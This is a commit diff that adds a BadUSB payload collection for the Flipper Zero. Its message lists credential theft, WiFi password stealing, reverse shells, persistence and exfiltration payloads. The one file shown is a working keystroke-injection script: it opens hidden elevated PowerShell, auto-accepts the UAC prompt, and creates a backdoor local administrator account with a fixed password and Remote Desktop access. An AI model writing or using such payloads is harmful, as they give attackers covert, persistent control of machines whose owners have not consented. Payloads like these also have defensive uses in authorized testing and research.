Add NullSec BadUSB payload collection

Added 25 BadUSB payloads for Flipper Zero:
- System reconnaissance (Windows/Linux/Mac)
- Credential extraction & WiFi password stealing
- Reverse shells (PowerShell & Bash)
- Defense evasion & persistence
- Data exfiltration (keylogger, webcam, clipboard)
- Harmless pranks

All payloads include proper headers and documentation.
Cross-platform support for Windows, Linux, and macOS.

BadUSB/NullSec-BadUSB/25_CreateAdmin.txt

@@ -0,0 +1,13 @@
+REM ========================================
+REM NullSec Flipper Zero BadUSB
+REM Payload: Create Admin User
+REM Target: Windows 10/11 (Requires Admin)
+REM ========================================
+DELAY 1000
+GUI r
+DELAY 500
+STRING powershell -w hidden Start-Process powershell -Verb runAs -ArgumentList '-w hidden -c "net user nullsec N0tS3cur3! /add; net localgroup Administrators nullsec /add; net localgroup \"Remote Desktop Users\" nullsec /add"'
+ENTER
+DELAY 2000
+ALT y
+ENTER